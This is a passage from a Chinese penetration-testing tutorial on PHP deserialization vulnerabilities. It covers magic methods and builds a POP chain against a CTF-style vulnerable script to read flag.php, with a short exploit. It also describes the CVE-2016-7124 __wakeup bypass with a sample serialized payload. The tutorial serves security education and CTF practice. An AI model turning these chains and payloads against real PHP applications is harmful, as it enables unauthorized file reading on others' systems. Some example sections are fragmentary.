小結(jié):反序列化的過程通過這些魔法函數(shù)可以達到我們想到要的操作,尤其是后面3個函數(shù),大家會發(fā)現(xiàn),這三個函數(shù)可以達到多個類的連續(xù)使用,從而達到鏈的效果,這也就是反序列化中的pop鏈的編寫,
示例 2:POP鏈的構造
<?php //flag is in flag.php error_reporting(1); class Read {public $var;public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}public function __invoke(){$content = $this->file_get($this->var);echo $content;} }class Show {public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo $this->source.'Welcome'."<br>";}public function __toString(){return $this->str['str']->source;}public function _show(){if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {die('hacker');} else {highlight_file($this->source); }}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}} }class Test {public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['hello'])) {unserialize($_GET['hello']); } else {$show = new Show('pop3.php');$show->_show(); }1. 首先看到unserialize($_GET[‘hello’]) 將get傳參的hello進行了反序列化操作。那么將會調(diào)用到Show類中__weakup方法。
2. 因為 this->source = “index.php” source被當做字符串所以調(diào)用Show類中的__to string.
3. ** return $this->str[‘str’]->source ** source屬性不存在所以調(diào)用Test類中的 get方法。
4. ** $function = $this->p;
return $function(); **
把取出來的p當做還是調(diào)用因此又會引起調(diào)用了 Read類中的__invoke方法,其中就可以把文件讀取出來了。
上exp
<?php class Show{public $source;public $str; } class Test {public $p; } class Read{publc $var = "flag.php" }$s = new Show(); $t = new Test(); $r = new Read(); $t -> p = $r; $s ->str["str"] = $t; $s -> source = $s; var_dump(serialize($s));反序列化 漏洞 原理
?:https://www.bilibili.com/video/BV1jL4y1j7i6?p=38
注意:如果放在 瀏覽器 url 中,需要 url 編碼
1. 構造反序列化鏈
2. 魔法函數(shù)
3. pop 鏈
4. __wakeup()繞過
1、unserialize 函數(shù)的參數(shù)可控,比如通過 GET 請求傳參(漏洞觸發(fā)點)
2、腳本中定義有 Magic 方法,方法里面有向php文件做讀寫數(shù)據(jù)或者執(zhí)行命令的操作,比如:__destruct()、unlink()
3、讀寫的內(nèi)容需要有對象中的成員變量的值,比如 filename
__wakeup( )繞過
(CVE-2016-7124)
反序列化時,如果表示對象屬性個數(shù)的值大于真實的屬性個數(shù)時就會跳過__wakeup( )的執(zhí)行。
影響版本:
PHP before 5.6.25
7.x before 7.0.10
結(jié)果:我在這
當換成??O:4:"star":2:{s:1:"a";s:9:"我在這";}??時,結(jié)果什么都沒輸出。
原因:當表示屬性個數(shù)大于真實個數(shù)時,__wakeup()函數(shù)不執(zhí)行,被繞過了,通常題目中,__wake() 中含有很多限制,通過這個漏洞繞過 __wake() 可以達到繞過限制的目的。
攻防世界 CTF 示例
官網(wǎng):https://adworld.xctf.org.cn/
示例 payload
注意:如果放在 瀏覽器 url 中,需要 url 編碼
總結(jié)
以上是生活随笔為你收集整理的渗透测试 2 --- XSS、CSRF、文件上传、文件包含、反序列化漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 7.3 超标量流水线
- 下一篇: 计算机驱动打不开,驱动人生打不开怎么办